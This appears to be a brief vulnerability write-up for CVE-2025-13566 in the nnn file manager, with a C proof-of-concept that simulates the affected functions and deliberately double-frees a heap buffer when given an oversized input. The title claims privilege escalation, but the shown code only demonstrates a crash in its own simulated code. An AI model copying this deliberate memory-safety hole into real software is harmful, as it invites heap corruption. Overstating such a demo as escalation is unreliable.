CVE-2025-13566: jarun nnn双释放漏洞导致本地权限提升

// CVE-2025-13566 PoC - Double Free in jarun nnn // Description: Trigger double free in show_content_in_floating_window/run_cmd_as_plugin // Affected: jarun nnn <= 5.1 #include <stdio.h> #include <stdlib.h> #include <string.h> /* * This PoC demonstrates the double free vulnerability in jarun nnn. * The vulnerability occurs in nnn/src/nnn.c in functions: * - show_content_in_floating_window * - run_cmd_as_plugin * * Attack Vector: * 1. Attacker needs local access to the system * 2. Attacker crafts a specific sequence of operations * 3. Trigger the vulnerable code path through plugin execution * * Note: This is a conceptual PoC. Actual exploitation requires * specific conditions and memory layout manipulation. */ #define MALICIOUS_PAYLOAD_SIZE 256 typedef struct { char *data; size_t size; } plugin_context_t; // Simulated vulnerable function from nnn.c int show_content_in_floating_window(plugin_context_t *ctx) { char *buffer = malloc(MALICIOUS_PAYLOAD_SIZE); if (!buffer) return -1; // Vulnerable: No NULL check after potential free if (ctx && ctx->data) { strncpy(buffer, ctx->data, MALICIOUS_PAYLOAD_SIZE - 1); buffer[MALICIOUS_PAYLOAD_SIZE - 1] = '\0'; } // First free (legitimate) free(buffer); // Simulated code path that can lead to double free // In real scenario, this happens through specific plugin operations if (ctx && ctx->size > MALICIOUS_PAYLOAD_SIZE) { // Code path that reuses the freed pointer // This creates the double free condition free(buffer); // DOUBLE FREE - second free of same pointer } return 0; } int run_cmd_as_plugin(const char *cmd) { plugin_context_t ctx = {0}; ctx.data = strdup(cmd); ctx.size = strlen(cmd) + 1; // Trigger vulnerable function int result = show_content_in_floating_window(&ctx); free(ctx.data); return result; } int main(int argc, char *argv[]) { printf("[*] CVE-2025-13566 PoC - jarun nnn Double Free\n"); printf("[*] Affected: jarun nnn <= 5.1\n"); printf("[*] Function: show_content_in_floating_window/run_cmd_as_plugin\n\n"); // Construct malicious input to trigger vulnerability char exploit_cmd[MALICIOUS_PAYLOAD_SIZE * 2]; memset(exploit_cmd, 'A', sizeof(exploit_cmd) - 1); exploit_cmd[sizeof(exploit_cmd) - 1] = '\0'; printf("[*] Triggering double free vulnerability...\n"); run_cmd_as_plugin(exploit_cmd); printf("[!] Vulnerability triggered - double free occurred\n"); printf("[*] In real exploitation, this could lead to:\n"); printf(" - Application crash (DoS)\n"); printf(" - Heap corruption\n"); printf(" - Potential code execution\n"); return 0; } // Mitigation: Update to nnn version with patch 2f07ccdf21e705377862e5f9dfa31e1694979ac7